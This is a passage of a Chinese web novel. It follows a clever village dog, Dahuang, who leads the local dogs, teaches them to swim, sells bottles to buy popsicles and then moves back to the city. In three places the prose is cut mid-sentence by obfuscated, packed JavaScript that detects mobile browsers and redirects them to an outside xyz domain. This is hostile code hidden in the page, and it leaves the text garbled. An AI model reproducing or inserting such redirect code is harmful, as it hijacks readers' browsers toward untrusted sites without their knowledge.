老李头现在听见狗叫就生气，还是看热闹的村人告诉他狗帮他把鸡鸭给逮了，他才“啊”一声，等回家一看鸡鸭都回来了，老李头看大黄又换了张脸，这回夸大黄又聪明又能干，转头嫌弃起他家傻乎乎的小黑。 小黑一脸懵。大黄一顿操作猛如虎，衬得它像二百五！它觉得它冤！明明这墙也是大黄撞的！ 那可不不一样，大黄“嗷嗷”两声让小黑学着点。 大黄荣升村狗头头第一件事就是领着群狗逮鸡逮鸭，还别说，村狗逮鸭吸引了不少看热闹的村人，这热闹一直持续到大黄回家，老太太本来想骂他的，一看村人都在夸，骂的话又说不出口了，在村人的一句句恭维下，老爷子给了他一只蹄膀吃，吃得大黄满嘴流油，特别香。 有了奖赏大黄当村狗头头的劲更足了，第二天就领着小弟们开始巡村。这年代小偷太寻常，很多人养狗就是为了看家护院，大黄一咬三战绩可查，他这阵子开始指导小弟们如何防范陌生人。 然而狗多，大家智商不大一样，大黄带小弟带得可累了。 村里电工老刘家的白老虎看谁都“汪汪汪”，而他狗生小姐妹妮妮则相反，见到个人就开始摇尾巴，还有村里莲芝老太太家的荷花，邪恶摇粒绒总是莫名其妙第一个冲，但真遇事了又第一个退，留下大黄一群狗一脸茫然地被人追着打。 当了狗头头三天，大黄觉得比带小孩还累。想想不行，他觉得还得训练训练他一帮小弟的能力，这阵子他带着狗小弟们巡村练配合，遇上蒲风春带蒲佳逸去游泳，大黄不光教会了蒲佳逸，还教了他一帮小弟如何游泳。 大黄教练教小狗可直接了，一腿子一只全被他踹下了水，谁不会游泳全给我下水学，还别说，小狗们学游泳可快了，狗刨式很多狗下水就会。 不过也有死活学不会的，荷花就是，泰迪犬叫了个荷花的名，还没下水就开始汪汪叫，等被大黄踹下河，荷花狗头一抬爪子一翻扑棱扑棱，汪汪叫着溅得周边到处是大水花。 大黄实在看不过去把狗叼上了岸，等下一次再练游泳，荷花又是这么一来，到后来，荷花被安排在岸上看着了。 相比之下还是小黑最全面，聪明，听话，还懂事。大黄指哪儿他打哪儿，可省心了。 莲花村的人最近就看奇景，看蒲家的大黄领着一帮狗在游泳。 大黄当真辨识度高，他比普通土狗大上一圈，身高腿长，全身黄毛，又有之前打架逮鸭和一咬三的故事流传，莲花村不少人都认得他，如今的大黄带着狗小弟们巡村都有村人们招呼他呢。 夏天有不少村人去莲花河游泳，傍晚的时候人最多，看见大黄领着一群狗在跳河，来游泳的村人先愣了愣，接着就看一群小狗从这头游到那头，还比赛呢，除了领头的大黄就属老李头家的小黑游得最快。 练习完游泳一群小狗爬上岸开始恍哒恍哒甩水，甩完水今天一天的活动结束各回各家。 蒲家的人已经很习惯大黄的早出晚归，这狗出门比上班还准时。大黄回来时家里正赶上饭点，看大黄回来，老爷子给他粉色的盆盆里盛了饭和肉，招呼他快点吃，吃完陪他去田里。 村里人都有地，莲花村近海绕河，能耕种的土地不多，像蒲家就只分到了一亩。平常是蒲老爷子在种，种些青菜玉米西瓜桃子之类的作物，自家吃一吃，多出来的市场里卖一卖。 这些日子天热，蒲老爷子都是傍晚去浇水。大黄跟着老爷子去田里巡视，平常赶赶刺猬和狗獾，特别是狗獾，一到夏天就不知从哪儿冒出来偷西瓜吃，不仅拖家带口，还专挑又大又好的吃，每次夏天西瓜季到老头子就头痛不已。 大黄负责赶狗獾。赶狗獾还有技巧，只能赶不能咬，同样带狗字大家不同命，那些家伙是保护动物，命贵，真被人抓到了还得供着将它们送走，所以赶狗獾的活一般狗干不了，还得是大黄。 大黄最近干活干得非常积极，就是干完活他有点纳闷，狗獾夜行动物，大部队都是半夜出行，他傍晚赶的不过是几只先遣部队，现在赶了晚上照常有瓜被偷吃，他赶了个寂寞有啥用？ 对此，老爷子表示还是有用的，让狗散散精力。觉得大黄最近太活跃了，老爷子想着办法让狗干点活呢！ “你家大黄怎么事儿这么多！”这天蒲妈过来蒲家老爷子嘀嘀咕咕地跟蒲妈抱怨，听听，前阵子还我家大黄咧，没几天就变成了你家大黄了！ “大黄又做什么了？”一听事儿多，蒲妈瞬间警觉。 “前阵子和狗打架把人围墙打塌了，还把人老李头养的鸡鸭全放跑了，这阵子领着村里的狗巡街跳河……”老太太跟蒲妈告状，一脸纳闷地问：“我看来福和妮妮也没这么闹腾啊！”来福就是大黄狗妈，妮妮是他小姐妹，同是一家狗，老太太怎么都想不通为啥大黄就特别闹。 “那围墙和鸡鸭赔了吗？”蒲妈主人视角，一听大黄闯祸，就问赔偿的事。 “没赔，这狗领着村里的狗又把鸡鸭抓回去了，”老爷子讲了讲那天的事：“围墙就更不用赔了，废砖头垒的，不值钱。” “不错的，大黄都懂得自己善后了！”听蒲妈夸他，大黄嗷嗷叫，兴奋地摆尾吧。 “你咋还夸它呢？这些天这狗领着一群狗天天巡街跳水！”老太太笑着讲大黄事迹：“才几天，都成狗头头了！” “那是大黄厉害！”蒲梓涵在一旁玩玩具，听到大人们讲大黄，竖着耳朵听，听到奶奶说大黄，蒲梓涵举着手夸大黄：“大黄现在是狗狗班长了！” “屁！”一旁疯狂补作业的蒲佳逸撇嘴嫌弃。 蒲妈瞪了他一眼，他又默默低头继续补作业了。 “哥哥的游泳是大黄教的！”蒲梓涵积极拆她哥的台，你说大黄不好，你游泳都是大黄教的咧！ “啊？”老太太和老爷子都不知道这事，他们看蒲佳逸：“你游泳狗教的？不是你小叔教的吗？” 蒲佳逸：“！！！”他张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831085|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴又闭上，闭上又张嘴，最后吐槽他小叔教得比狗还烂。 蒲妈：“……”小声点，很骄傲吗？ 蒲妈这天休息回莲花村吃顿饭看看俩小孩，特别是蒲佳逸，猜到他没做作业，蒲妈一到就晚盯着他补作业，蒲佳逸扭扭捏捏委委屈屈地开始做了。至于蒲梓涵，小朋友比她哥自觉多了，每天一张大字乖乖地写，看她非常乖，蒲妈还奖励了她零用钱。 5块钱小朋友可以买好多小零食。拿到奖励的零用钱，下午蒲梓涵就带着大黄买吃的去了。 村里有小卖部，西村头的美娟开的，平常卖些酱油醋和小零食，夏天当然也卖棒冰。 蒲梓涵由她奶奶带着去买过好几次棒冰，路线老熟了，她领着大黄往小卖部走。小朋友穿着一双会闪闪的凉鞋啪嗒啪嗒在前边走，小黄慢悠悠地跟在她后头，一边走一边听小朋友唱“黑黑的天空低垂，亮亮的繁星相随，虫儿飞，虫儿飞，你在思念谁？” 听小朋友唱歌，大黄还会配合地汪两声。 这会儿大下午天气最晒的时候，吃完饭大家都午睡不出门，开小卖部的美娟躺在竹躺椅上正午睡，听见小朋友喊“美娟阿姨”，一骨碌爬起来，低头先看见了大黄——大黄正掀开了冰箱盖冲着冰箱里的棒冰吐舌头。 “哎呦！大黄你可别流口水！”一看大黄张着嘴吐舌头，急得美娟连忙把狗推开，等推开狗才看到冰箱旁边的蒲梓涵，她问小朋友要吃什么 “要小矮人！”小朋友还没冰箱高，垫着脚都够不着，看大黄掀起了冰箱盖，蒲梓涵一蹦一蹦地想看但又看不着，听美娟问，她张口就说要小矮人。 小矮人冰棒正式名称叫七个小矮人，一个袋子里有七只颜色不一的小冰棍，蒲梓涵拿了自己喜欢的绿色，又把自己不喜欢的红色分给了大黄吃。 大黄这只老馋狗张嘴就吃，被冻得嘶啦嘶啦地抽气，一边抽气一边继续吃，就是不肯吐出来。 等蒲梓涵到家的时候大黄已经把他那份给吃完了，吃完后炯炯有神地盯蒲梓涵手里那包，蒲梓涵手往胳膊底下一抱摇了摇头：“大黄不能吃了，这是其他人的！” 小朋友安排得可好了，大黄一支，哥哥一支，妈妈一支，爷爷奶奶各一支，还有两支都是自己的。 看蒲梓涵不给他，大黄可怜巴巴地趴下了，等听到爷爷奶奶说他们不吃，大黄又支棱起来了，绕着蒲梓涵摇尾巴，最后大黄又得了一支冰棍吃。 大黄高高兴兴地吃完，扑过去亲热地嗅嗅蒲梓涵，就是他扑过去的时候太亲热了，把蒲梓涵吓了一跳，她手里的冰棍一掉，还没落地上了，已经被卷进了大黄嘴里。 白得一支，大黄可开心了，尾巴摇得飞快，叼着小冰棍躲到了角落里，一边嘶啦嘶啦，一边咯吱咯吱，等一转头，蒲梓涵正盯着他吃她的冰棒，盯着盯着，小朋友眼泪冒出来了，接着哇哇大哭起来。 她一哭，大黄吃得更快了，等蒲妈听到女儿哭声出来，大黄已经把棒冰吃下了肚，一脸无辜地蹲在地上看蒲梓涵哭。 蒲妈：“……” 12. 赚钱 “诶呦哎呦！别哭！别哭！”一听孙女大哭，老太太连忙赶出来，知晓是大黄吃了孙女的冰棍，老太太做势要打大黄：“是大黄坏！乖乖，我们打它！别哭了别哭了嗷！奶奶给你买棒冰！” 蒲梓涵被奶奶带着打了大黄几下，大黄乖巧地垂尾巴耷拉着耳朵任小朋友打，小朋友立马破涕为笑。 老太太带孙女又去买了一根大脚板，这一次蒲梓涵舔着棒冰还要背对大黄。小朋友吃得慢，一根大脚板吃到后来吃得手里黏糊糊，看大黄一直可怜巴巴地看着她，看看自己手上还剩一小坨的大脚板，蒲梓涵想了想，还是把剩下的一点递给了大黄。 大黄尾巴摇得仿佛螺旋桨，一张嘴把剩下的吞了，几口吃完还把蒲梓涵手上的也舔了，舔得蒲梓涵手痒痒咯咯笑。 小朋友不记仇，这会儿又和大黄很好了，她还伸手拉大黄舌头，但一拉出来看见大黄舌头黑黑的把她吓一跳，连忙喊妈妈。 “妈妈！！大黄要死了！！！”看大黄舌头黑小朋友急坏了，拉着大黄就要去找妈妈。 蒲妈这会儿正帮老爷子备菜，听到女儿喊，连忙出来看，结果听小朋友焦急地问大黄舌头黑黑的是不是要死了，蒲妈没忍住笑出来。 “这是大黄天生的！”大黄是传统田园狗，毛黄，立耳，舌头黑，小时候还不大明显，如今已经成年，舌头中央有些发紫发黑，农村里有舌头黑的狗聪明的说法，看大黄舌头黑黑的，蒲妈还夸他怪不得聪明，夸得大黄咧嘴笑。 “我还以为是大黄吃屎了呢！”大家正高兴地夸大黄呢，做了一早上作业的蒲佳逸一脸不高兴地插了嘴，冲着大黄哼哼哼，气得大黄朝他撅屁股，他才不会吃屎！ “怎么这么说话呢？”蒲佳逸一脸丧，先被蒲妈说了一顿。 “村里的狗就是会吃屎！我上次看到了！”蒲佳逸表示自己才没撒谎。 “大黄爱干净！才不会！”蒲梓涵替大黄说话。 “谁说的？大黄上次还马桶跳水了呢！”蒲佳逸老记得大黄马桶跳水的事，哼唧哼唧说。 蒲梓涵不记得这事，听说大黄马桶跳水过，她张着嘴一脸惊讶，然后她问她哥：“哥哥你每天抱着大黄睡，你会不会沾上马桶水啊？” 蒲佳逸：“！！！” “大黄现在洗香香了！”蒲佳逸赶紧解释他才没有沾马桶水：“大黄上次还涂了妈妈的香香呢！” “什么香香？”蒲妈警觉。 “上次大黄爬妈妈化妆桌上打开了玉兰油……” 蒲佳逸还没说完，大黄立马警觉地往后退，还没等大黄退到门口，被蒲妈一把薅过来“啪啪”打了一顿：“我说上次我化妆品怎么倒了盖子开了，是大黄你干的？！啊？！我化妆品你也敢动了？！！” “汪汪汪！汪汪汪！”冤枉啊！一开始明明是蒲爸带他涂的！汪汪汪！汪汪汪！ “一天不打，上房揭瓦！”老太太晒完衣服下楼就见大黄被蒲妈抓着打，笑了两声骂这狗太精。 一顿打之后，大黄安分了好一阵子，不过没过几天，他又开始琢磨起要给狗小弟们发福利。 大黄惦记着棒冰的味道，想着要让狗小弟们也尝尝，可买棒冰得有钱，蒲妈又没发他零钱——一想到这儿，大黄不满地汪了两声。 大黄决定自力更生攒钱。他看老太太经常把空的饮料瓶塑料瓶收起来卖废品，大黄这些日子招呼着小弟们在村里捡瓶子，还别说，随手扔垃圾的人不少，大黄带着狗小弟们几天捡了十来只。 西村口有收废品的老头，大黄叼着塑料袋装的一袋瓶子去找收废品老头，他原先想卖瓶子攒钱给小弟们买冰棍吃，谁料这坏老头收了那一袋瓶子不仅没给钱还提着棍子把大黄赶走了，气得大黄汪汪直叫。 因为被坏老头坑了塑料瓶子，之后几天，一群狗天天上老头门口嚎叫，叫得他生意都差了几分。 大黄第一次攒瓶子计划中道崩阻，想想不行，他开始了第二次，这次他把蒲佳逸也拉了进来，捡了瓶子让蒲佳逸去卖。蒲佳逸有嘴，说得了人话。 大黄叼着一袋瓶子来找蒲佳逸时蒲佳逸挺懵，听大黄“嗷嗷”叫着爪子刨了刨地，绕着这一袋瓶子转了圈，接着“嘶啦嘶啦”“咯吱咯吱”地装了装，看得蒲佳逸更懵了，后来还是大黄找了只棒冰外包装叼来，蒲佳逸才懂。 “你想攒瓶子买棒冰？” “汪！”终于懂了！大黄开心地蹦了两下。 “你们哪来的瓶子？”蒲佳逸刚问呢，就见院子门口左三只右三只狗头探出来，看大黄咬着蒲佳逸的裤子拉他出门，小狗们热烈欢迎他入伙，“汪”来“汪”去可热闹了。 就是被欢迎的蒲佳逸感觉很微妙。 大黄带着小狗们已经叼了一袋瓶子，蒲佳逸带他们去了村东的外地人那儿卖——他本来想去收废品老头那儿的，大黄不愿意。那老头坏，坑他们的瓶子钱。 村东也有个收废品的，去年刚来，是外地人，说一口口音很重的普通话。因为是外地人，平常收废品的生意没老头好，蒲佳逸过去时他正在院子里压纸箱子。 “老板收不收瓶子啊？”蒲佳逸挺装样，矮矮的小朋友背着手晃哒晃哒进院子，身后跟着一排小狗，其中好几只小狗都叼了只小袋子，袋子里是他们捡的废瓶子。 收废品的外地人姓焦，村里人喊他收废品的外地人，他看起来已是中年，穿着件条纹T恤踩着双破拖鞋，手里正拽着尼龙绳打包废纸品，抬头看小朋友领着一排狗进门，先愣了愣。 “老板卖废品！收不收啊？”蒲佳逸指指小狗们袋子里的废瓶子。 “收的收的！”收废品的外地人把手里的活一放，利索地数起了瓶子。他倒没打算诓小朋友，塑料瓶5分一个，铝罐子一毛一个，小狗们的瓶子收拢来一数，竟有2块5。 有了钱大黄带着小狗们买冰棍去了，带小弟们去买冰棍，他还不忘招呼蒲佳逸一起去。 事先说好的，卖废品赚的钱蒲佳逸也分一份，他喜欢吃小布丁，5角一支，而大黄叫了七声让蒲佳逸给他买七个小矮人。 蒲佳逸帮忙算了算，8只小狗一包七个小矮人不够分，想了想，他给其他小狗买了七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831086|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小矮人，又给大黄买了小布丁，剩下还有一元钱，他帮大黄记着账。 大黄“嗷”了两声表示同意，然后给狗小弟们分了七支小矮人。 “哎呦！你家大黄还给小弟分棒冰啊！”美娟老板娘支着只手趴小卖部玻璃上，看小狗们分棒冰吃看个稀奇。 “那当然！我家大黄是当狗老大的！”蒲佳逸挺骄傲，又开始帮大黄宣传他一咬三的事迹，听得美娟老板娘直夸大黄厉害！ 又被夸了，大黄昂首挺胸，挺嘚瑟地晃尾巴。 自从狗老大领着他们吃了棒冰，大黄最近威望更足了，他最近领着小弟狗积极地捡瓶子，捡了瓶子就跑外地人那儿去换，换多了到后来都不需要蒲佳逸出场。 外地人一看小狗们来了，挺自觉地上前替他们数瓶子，怕自个儿被骗，大黄还特地学了数数，一二三四五，喊小黑一蹲，一支小矮人到手，一二三四五，喊妮妮一蹲，又是一份七个小矮人，一二三四五，荷花蹲，一二三四五，白老虎蹲，一二三四五，皮球蹲，一二三四五，芝麻蹲…… 小弟蹲了六只，一数能吃六份小矮人，但钱一到手，外地人给了他们一张五块，大黄眼睛转圈圈了，好像不对啊！ 大黄汪汪两声，一爪子一只瓶子数过去，一二三四五，小弟蹲一蹲，一数还是六只狗，他不会了。 “这罐子一毛一个，”外地人伸出一根手指告诉大黄铝罐子一毛一个。 大黄看看塑料瓶子，再看看铝罐子，一脸认真地点点头，然后他带着小弟们买冰棍去了。 蒲佳逸上次替他收了一块钱，他后来叫奶奶做了只小袋子，把一块钱放袋子里挂大黄脖子上了，大黄让外地人帮忙把五块钱也放他钱袋里，然后带着小弟去了村里小卖部。 美娟老板娘这会儿在看电视，看大黄过来“哎呦”一声高兴地摸了摸他头，看大黄给她看脖子上的小袋子，老板娘还夸他红色的小袋子挺好看。 大黄“嗷嗷”两声，挠挠爪想让美娟老板娘拿钱，然而老板娘忙着撸狗根本没懂大黄意思。 大黄急得原地转圈，跟小弟们开了个会，然后让爪子最小的荷花帮他开了袋子，这一次，大黄跟老板娘“汪汪”两声，炫耀他有钱。 “诶呦！大黄也有零花钱了啊！”美娟老板娘傻傻的，就是不明白大黄的意思，气得大黄“嗷嗷”了两声拍拍冰箱盖。 “大黄又想吃棒冰了？听话，狗不能吃！”看大黄掀开了冰箱上的厚被，美娟老板娘又把被子盖回去了。 “嗷嗷嗷！”大黄又把被子给掀了。 “怎么老掀被子呢？”美娟老板娘把被子盖回来，还让大黄别玩被子。 “汪汪！”大黄转了一圈，又汪了七声，眼看美娟老板娘还没反应过来，大黄苦恼地一蹲，蹲下看到了之前有人丢的棒冰包装，大黄叼了包装给美娟老板娘看，老板娘总算反应过来了。 “大黄是想要买棒冰啊！” “嗷！”终于明白了！累死他了！ 结果下一句听老板娘说狗不能吃棒冰，大黄气得又开始“汪汪汪”。 13. 荷花 在他努力地汪汪叫下，大黄还是带着狗小弟们吃了上棒冰。美娟老板娘给了他们奶油棒冰，说小狗吃奶油没事，钱多了找给大黄还帮他塞脖子上的钱包里。 八只小狗快乐地围在一起吃棒冰，吃完又一起去了河里游泳。除了荷花只会在岸上汪汪叫，其他小狗都已经学会了游泳，大家狗刨着在河里转了一圈，凉快了许多，等上了岸，几只小狗恍哒恍哒甩水，甩完解散各回各家。 小狗们自觉在第二天集合，不过这天荷花没有出现，大黄领着大家一起去看它了。 荷花住在村北，它主人是村里的莲芝老太太。 老太太快七十多了，培养出的两个女儿都上了大学——六十年代生的农村女孩，能考上大学都是顶顶厉害的。其中她大女儿还得了国家奖学金公派留学，博士毕业后在上海高校教书，是十里八乡都知道的名人。 而荷花就是她大女儿送的，按村里人打趣的说法，荷花还是上海户口呢！ 荷花今天生病了。 品种犬，肠胃弱，昨天吃了一整根冰棍，回了家荷花就开始上吐下泻。老太太宝贝荷花宝贝得紧，昨天就到隔壁村的兽医站找兽医看了，给吃了蒙脱石散，今天好多了，只是精神萎靡地趴在它的小窝里。 大黄带着小狗们来找荷花，在莲芝老太太家门口“汪汪”叫，老太太看见了，高兴地放它们进来，还问他们是不是来看荷花的。 小狗们应和着“汪”了两声，老太太夸了两声“真好”招呼她家荷花：“荷花欸~你朋友来了~” 荷花提着四只短短的腿兴奋地奔出来。 小狗们在院子里开会，老太太给它们分了罐头，除了荷花大家都没吃过这个，小狗们小心翼翼地舔了舔，觉得味道好大家吧唧吧唧吃得很快乐。 看完荷花狗狗们和荷花嗅嗅又跑去巡村了，村子里逛完一圈，今日平安，大黄领着狗狗们去游泳。游泳比赛大黄又得了第一，小黑继续第二，今天的第三是白老虎，游完大家凉快了，爬上岸晃哒晃哒甩水，甩完今日的村狗集会正式结束。 这天大黄回家的时候蒲佳逸在写周记，他搬了条板凳当桌子，自己坐在矮矮的小木凳上，一手支着下巴，一手转笔，面前的周记本刚刚完成了三句话。 而蒲梓涵是一张板凳一张小凳子，她正在练字，看见大黄回来，蒲梓涵眼睛一亮，手往前一甩一指大黄，问：“死鬼！你还知道回来啊？！” 蒲梓涵戏精上身，指责大黄天天跑外边都不顾着家里，听得大黄更懵了。 等进了屋，看见老太太在看电视剧《亲家》，明白了，敢情是看电视剧看的。 蒲梓涵最喜欢跟着电视里演了，上上个月候蒲妈看《奋斗》，蒲梓涵就跟着演，什么少女变大嫂，早恋变单身了，文秘变老总，一失足成千古恨。 也不明白这么多台词她怎么就单单记得这句，不仅记得还到处演，有次被蒲妈看见了，说了她一顿。小朋友比她哥乖多了，妈妈说了不能说这台词，她“哦”一声，转头又演“真相只有一个”，蒲佳逸在看柯南，小朋友跟着看了几集也给她记住了。 不过小朋友最喜欢的还是演公主，钻进白纱的窗帘后头，手一挥，喊“平身”，大黄有时候陪着她演，有狗大臣陪着小朋友就更积极了。 就在大黄的日常巡村中，七月一晃过去。月底的时候蒲妈来接小孩来了，带孩子带久了老太太现在巴不得赶紧把小孩们送走，这次看见蒲妈来迎接得特热情。 知晓小孩们要去补课了，老太太还关心地问要不要多报几门，特别是蒲佳逸，再两年就要读初中了，现在想去好的初中要看小学结业考成绩。 蒲佳逸：“？？？”听到奶奶的提议，蒲佳逸震惊，明明奶奶之前还说他补课太多了的！ “两个小泼猴再加上一条狗太闹腾了，我这心脏受不了！”老太太心脏不大好，带小孩带了一个月，有很多话要说，上次蒲妈来老太太就吐槽了一堆，这次来，差不多到极限了，从蒲佳逸晚上不睡觉玩游戏到早上发现狗睡在他房间里，从蒲梓涵三更半夜突然唱歌到小孩老是喜欢抱着狗，大黄不喜欢老被她抱着，她就老抱着来福，老太太有太多事要告状了。 蒲妈能说什么，在家的时候这两小孩加一只狗更闹腾呢！她只能笑着感慨一句“妈您辛苦了”。 应付了这个妈，等把两小孩和大黄接回城里，蒲妈还得应付她亲妈。她每天上班小孩去培训班得有人接送，这回又得麻烦小孩的外公外婆了。 老人家长时间不见两小孩倒想念得紧，真带起了孩子，带了没多久又嫌带孩子累了。蒲妈打算得挺好，一个暑假，俩小孩，爷爷奶奶带一个月，外公外婆也带一个月。 外公外婆住的小区不算远，公交车两站路，两老人一般早上过来，来的时候会顺便买好早餐，蒲妈上班去了，他们送吃完早餐的蒲梓涵去钢琴老师那儿学——董老师暑假开培训班，每天三个学生分时段教学，这段时间不上门教。 至于蒲佳逸，他自个儿会坐公交去老师那儿补课。蒲佳逸的英语不大好，蒲妈给他在青少年宫报了班，新概念英语课，听说是上海过来的老师，蒲妈报名的时候可积极了，就是要去上课的人不咋积极，蒲佳逸讨厌英语，越讨厌越学不好，一想到黏答答热烘烘的大夏天还得坐公交去城北的少年宫，蒲佳逸只觉得英语更讨厌了。 早上八点半，蒲妈和蒲佳逸早已出门，外公在给蒲梓涵穿鞋准备带她去坐公交，外婆在收拾碗筷，这时候的大黄家里溜达了一圈打开电视准时播放《西游记》。 这剧大人喜欢看小孩喜欢看狗也喜欢看，大黄最喜欢孙悟空了，一个筋斗云十万八千里，最讨厌唐僧，嘀嘀咕咕地好烦一人。 等外婆洗完碗出来就看见大黄趴在沙发上津津有味地看《西游记》，看外婆过来，大黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831087|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还往旁边挪了挪，给外婆腾出位置。 “诶呦，大黄给我留的位置啊！”外婆挺高兴地过来，撸了撸大黄的背，看大黄脖子上老挂着小小的花布袋子，她有些好奇地摸了摸，发现里边还有三块五，外婆看个稀奇：“这是大黄你的钱包啊？” 大黄“嗷”“嗷”两声回应。 “这袋子自己做的？针脚怎么跟狗爬一样？”外婆老裁缝了，一看这裁剪这针脚就挺嫌弃，跟大黄说她给他改改：“明天我给你做个伸缩的，绳子再给你加上点，到时候挂脖子上你嘴巴够得到。” “嗷呜~”大黄一听就高兴，头往外婆腿上一搭，使着劲地撒娇。 “哎呦，大黄真乖~”外婆挠了挠大黄的狗头，让大黄舒服得都眯起了眼。 外婆第二天就给大黄带来了新的钱包。昨晚回去外婆在家里用缝纫机给大黄做了一只钱包，怕狗钱包容易坏，她还用了牛津布做，口子上用绳子做了个抽拉结，大黄用嘴一咬就能拉开。方便大黄能够到，外婆用皮筋做了挂绳，大黄低头就能咬到，等松开，绳子又能缩回去。 对于新钱包大黄喜欢得紧，他挂脖子上还特地去小区里巡了一圈，可惜那些老头老太太们没几个问他钱包的事。 不过大家全在欢迎大黄回来。 自从大黄一咬三抓了小偷之后，他在小区里可受人待见了，一个月没见，不少人还挺想念还有特地来问蒲妈的，知晓他回乡下了，大家松了一口气。 现在看大黄回来，老头老太太又开始投喂，什么香肠肉串苹果香蕉，大黄吃得心满意足。 小区里晃了一圈，吃了点零食，大黄又回了家。有外婆在他最近没去小胡那儿蹭饭，不过大黄还记得常去看小胡。 小胡最近有点忙，他网上的生意有了起色最近打算租个仓库做方便点，这天大黄去看小胡他正打着电话找中介问附近有没有便宜的房子既可以当仓库又可以当办公室。 复兴新村是老城区，周边医院市场配置周全，地方不差，人流也多，周边房价不算便宜。小胡的出价太低了，又要求在复兴新村附近，这样的房子有些难找，大概电话那头的中介说了什么，挂了电话小胡的脸色不算好看。 “有点难找？诶！那麻烦王姐您先帮我找着，对对对，急倒是还不急，”听到敲门声和狗叫，小胡打着电话开了门，等打完电话他才注意到大黄，非常自觉地进房间给大黄找了根香肠，朝大黄自言自语一顿。 小胡做网络生意平日里很少出门也没多少人能说话，大黄过来他和大黄聊天，说他昨天又遇到了个奇葩，买了半年的袜子穿破了给他差评说他袜子质量不好还要求他退款，又说他租房太难，地方偏一点不方便他回家，地方近一点又找不到适合的房子…… 小胡嘀嘀咕咕一段，说完了，心里松快些，打算回电脑前继续工作，没想到大黄“汪汪”叫两声咬他裤腿示意他跟着他走。